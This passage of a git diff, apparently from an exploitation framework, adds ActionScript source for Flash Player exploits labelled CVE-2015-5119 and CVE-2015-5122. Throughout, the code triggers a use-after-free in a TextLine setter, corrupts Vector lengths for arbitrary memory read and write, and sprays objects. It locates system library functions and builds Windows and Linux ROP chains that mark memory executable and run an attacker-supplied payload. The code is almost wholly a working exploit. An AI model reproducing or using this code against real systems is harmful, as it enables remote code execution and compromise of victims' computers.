a707:uint, a708:uint, a709:uint, + a710:uint, a711:uint, a712:uint, a713:uint, a714:uint, a715:uint, a716:uint, a717:uint, a718:uint, a719:uint, + a720:uint, a721:uint, a722:uint, a723:uint, a724:uint, a725:uint, a726:uint, a727:uint, a728:uint, a729:uint, + a730:uint, a731:uint, a732:uint, a733:uint, a734:uint, a735:uint, a736:uint, a737:uint, a738:uint, a739:uint, + a740:uint, a741:uint, a742:uint, a743:uint, a744:uint, a745:uint, a746:uint, a747:uint, a748:uint, a749:uint, + a750:uint, a751:uint, a752:uint, a753:uint, a754:uint, a755:uint, a756:uint, a757:uint, a758:uint, a759:uint, + a760:uint, a761:uint, a762:uint, a763:uint, a764:uint, a765:uint, a766:uint, a767:uint, a768:uint, a769:uint, + a770:uint, a771:uint, a772:uint, a773:uint, a774:uint, a775:uint, a776:uint, a777:uint, a778:uint, a779:uint, + a780:uint, a781:uint, a782:uint, a783:uint, a784:uint, a785:uint, a786:uint, a787:uint, a788:uint, a789:uint, + a790:uint, a791:uint, a792:uint, a793:uint, a794:uint, a795:uint, a796:uint, a797:uint, a798:uint, a799:uint, + + a800:uint, a801:uint, a802:uint, a803:uint, a804:uint, a805:uint, a806:uint, a807:uint, a808:uint, a809:uint, + a810:uint, a811:uint, a812:uint, a813:uint, a814:uint, a815:uint, a816:uint, a817:uint, a818:uint, a819:uint, + a820:uint, a821:uint, a822:uint, a823:uint, a824:uint, a825:uint, a826:uint, a827:uint, a828:uint, a829:uint, + a830:uint, a831:uint, a832:uint, a833:uint, a834:uint, a835:uint, a836:uint, a837:uint, a838:uint, a839:uint, + a840:uint, a841:uint, a842:uint, a843:uint, a844:uint, a845:uint, a846:uint, a847:uint, a848:uint, a849:uint, + a850:uint, a851:uint, a852:uint, a853:uint, a854:uint, a855:uint, a856:uint, a857:uint, a858:uint, a859:uint, + a860:uint, a861:uint, a862:uint, a863:uint, a864:uint, a865:uint, a866:uint, a867:uint, a868:uint, a869:uint, + a870:uint, a871:uint, a872:uint, a873:uint, a874:uint, a875:uint, a876:uint, a877:uint, a878:uint, a879:uint, + a880:uint, a881:uint, a882:uint, a883:uint, a884:uint, a885:uint, a886:uint, a887:uint, a888:uint, a889:uint, + a890:uint, a891:uint, a892:uint, a893:uint, a894:uint, a895:uint, a896:uint, a897:uint, a898:uint, a899:uint + + + // constructor + function MyClass2(id:int) + { + o1 = this; + a0 = id; + for(var i:int=1; i < 64; i++) this["a"+i] = 0x11223344; + } + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-5119/PE.as b/external/source/exploits/CVE-2015-5119/PE.as new file mode 100755 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-5122/Elf.as b/external/source/exploits/CVE-2015-5122/Elf.as new file mode 100755 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-5122/Exploit.as b/external/source/exploits/CVE-2015-5122/Exploit.as new file mode 100755 index 0000000000..f35abd89f2 --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/Exploit.as @@ -0,0 +1,34 @@ +package +{ + import flash.display.Sprite + import flash.events.Event + import mx.utils.Base64Decoder + import flash.display.LoaderInfo + import flash.utils.ByteArray + + public class Exploit extends Sprite + { + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + + public function Exploit():void + { + if (stage) init(); + else addEventListener(Event.ADDED_TO_STAGE, init); + } + + private function init(e:Event = null):void + { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + removeEventListener(Event.ADDED_TO_STAGE, init); + MyClass.TryExpl(this, platform, payload, 1) + } + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-5122/ExploitByteArray.as b/external/source/exploits/CVE-2015-5122/ExploitByteArray.as new file mode 100755 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-5122/ExploitVector.as b/external/source/exploits/CVE-2015-5122/ExploitVector.as new file mode 100755 index 0000000000..18aa4778a0 --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/ExploitVector.as @@ -0,0 +1,75 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint + + public function ExploitVector(v:Vector., length:uint) + { + uv = v + original_length = length + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-5122/Exploiter.as b/external/source/exploits/CVE-2015-5122/Exploiter.as new file mode 100755 index 0000000000..591cdce944 --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/Exploiter.as @@ -0,0 +1,367 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var magic:uint + private var magic_arg0:uint + private var magic_arg1:uint + private var magic_object:uint + private var magic_table:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stub_address:uint + private var stub_space_object:uint + private var stub:Vector. = new Vector.(8) + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(90000) + + public function Exploiter(exp:Exploit, pl:String, p:ByteArray, uv:Vector., uv_length:uint):void + { + exploit = exp + payload = p + platform = pl + + ev = new ExploitVector(uv, uv_length) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + static function Magic(...a){} + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + + // mov eax,[esp+0x4] + // xchg eax,esp + // rets + stub[0] = 0x0424448B + stub[1] = 0x0000C394 + + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + spray[i][4] = Magic + spray[i][5] = stub + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + magic = ev.at(pos + 4) - 1 + stub_space_object = ev.at(pos + 5) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + stub_address = ev.read(stub_space_object + 0x18) + magic_object = ev.read(ev.read(ev.read(ev.read(magic + 8) + 0x14) + 4) + 0xb0) + magic_table = ev.read(magic_object) + magic_arg0 = ev.read(magic + 0x1c) + magic_arg1 = ev.read(magic + 0x20) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + do_rop_windows() + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc2\x10\x00", false) // xchg esi, esp # ret 0x10 + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake stack on memory + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + for (var i:uint; i < 0x100; i++) { + eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4)) + } + + // VirtualProtect the stub with a *reliable* stackpivot + eba.write(stack_address + 8 + 0x80 + 28, virtualprotect) + eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored) + eba.write(magic + 0x1c, stub_address) + eba.write(magic + 0x20, 0x10) + var args:Array = new Array(0x41) + Magic.call.apply(null, args); + + // Call to our stackpivot and init the rop chain + eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8) + eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored) + eba.write(magic + 0x1c, stack_address + 0x18000) + Magic.call.apply(null, null); + eba.write(magic_object, magic_table); + eba.write(magic + 0x1c, magic_arg0) + eba.write(magic + 0x20, magic_arg1) + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-5122/Logger.as b/external/source/exploits/CVE-2015-5122/Logger.as new file mode 100755 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2015-5122/MyClass.as b/external/source/exploits/CVE-2015-5122/MyClass.as new file mode 100755 index 0000000000..01fda97a58 --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/MyClass.as @@ -0,0 +1,150 @@ +package +{ + import flash.display.DisplayObjectContainer; + import flash.utils.ByteArray; + import flash.system.Capabilities; + import flash.events.MouseEvent; + import flash.external.ExternalInterface; + import flash.text.*; + import flash.text.*; + import flash.text.engine.*; + + public class MyClass + { + static var + _gc:Array, + _ar:Array, + _ar_reuse:Array, + _ar_text_line:Array, + _arLen:int, + _ar_reuseLen:int, + _ar_text_lineLen:int, + _vu:Vector., + _tb:TextBlock, + _mc:MyClass, + _cnt:int, + _vLen:int, + LEN40:uint = 0x40000000; + + static function valueOf2() + { + try + { + if (++_cnt < _ar_text_lineLen) { + //recursive call for next TextLine + _ar_text_line[_cnt].opaqueBackground = _mc; + } else { + for(var i:int = 1; i <= 19; i++) + _tb.recreateTextLine(_ar_text_line[_ar_text_lineLen - i]); + // reuse freed memory + for(i=0; i < _ar_reuseLen; i++) + _ar_reuse[i].length = _vLen; + } + } + catch (e:Error) + { + Logger.log("valueOf2 " + e.toString()); + } + + return _vLen+8; + } + + static function TryExpl(e:Exploit, platform:String, payload:ByteArray, try_number:uint) + { + if (try_number > 3) + return + + try + { + // init vars + Logger.log("init vars") + _arLen = 30 + _ar_text_lineLen = 50 + _ar_reuseLen = 80 + + _ar = new Array(_arLen); + _ar_text_line = new Array(_ar_text_lineLen) + _ar_reuse = new Array(_ar_reuseLen) + + if (!_gc) _gc = new Array(); + _gc.push(_ar); + _gc.push(_ar_text_line); + _gc.push(_ar_reuse); + + if (!_tb) { + _tb = new TextBlock(new TextElement("TextElement", new ElementFormat())); + if (!_tb) throw new Error("_tb = " + _tb); + } + + _mc = new MyClass(); + + _vLen = 400/4-2; + // fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset) + Logger.log("fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset)") + for(var i:uint = 0; i < _arLen; i++) + _ar[i] = new Vector.(_vLen) + + // prepare Vector objects + Logger.log("prepare Vector objects") + for(i = 0; i < _ar_reuseLen; i++) { + _ar_reuse[i] = new Vector.(8); + _ar_reuse[i][0] = i; + _ar_reuse[i][1] = 0xdeedbeef + } + + // prepare TextLines + Logger.log("prepare TextLines") + for(i = 0; i < _ar_text_lineLen; i++) + _ar_text_line[i] = _tb.createTextLine() + + // fill 1016-byte holes (0x38c is a size of internal TextLine object) + Logger.log("fill 1016-byte holes (0x38c is a size of internal TextLine object)") + for(i = 0; i < _ar_text_lineLen; i++) + _ar_text_line[i].opaqueBackground = 1 // alloc 1016 bytes + + // set custom valueOf() for _mc + Logger.log("set custom valueOf() for _mc") + MyClass.prototype.valueOf = valueOf2 + + // here we go, call the vulnerable setter + Logger.log("here we go, call the vulnerable setter") + //_cnt = _ar_text_lineLen - 6 + _cnt = _ar_text_lineLen - 20 + _ar_text_line[_cnt].opaqueBackground = _mc + + // find corrupted vector length + Logger.log("find corrupted vector length ") + for(i=0; i < _ar_reuseLen; i++) { + _vu = _ar_reuse[i]; + if (_vu.length > _vLen+2) { + Logger.log("ar["+i.toString()+"].length = " + _vu.length.toString(16)); + Logger.log("ar["+i.toString()+"]["+_vLen.toString(16)+"] = " + _vu[_vLen].toString(16)); + if (_vu[_vLen] == _vLen) { + // corrupt next vector + _vu[_vLen] = LEN40; + // get corrupted vector + _vu = _ar_reuse[_vu[_vLen+2]]; + break; + } + };// else CheckCorrupted(_vu, i); // 4RnD + } + + // check results + Logger.log("v.length = " + _vu.length.toString(16)); + + if (_vu.length < LEN40) throw new Error("try again"); + + var exploiter:Exploiter = new Exploiter(e, platform, payload, _vu, 0x62) + } + catch (err:Error) + { + Logger.log("TryExpl " + err.toString()); + if (err.toString().indexOf("try again") != -1) { + MyClass.TryExpl(e, platform, payload, try_number + 1) + } + } + } + + } + +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-5122/PE.as b/external/source/exploits/CVE-2015-5122/PE.as new file mode 100755 index 0000000000..8753586477 --- /dev/null +++ 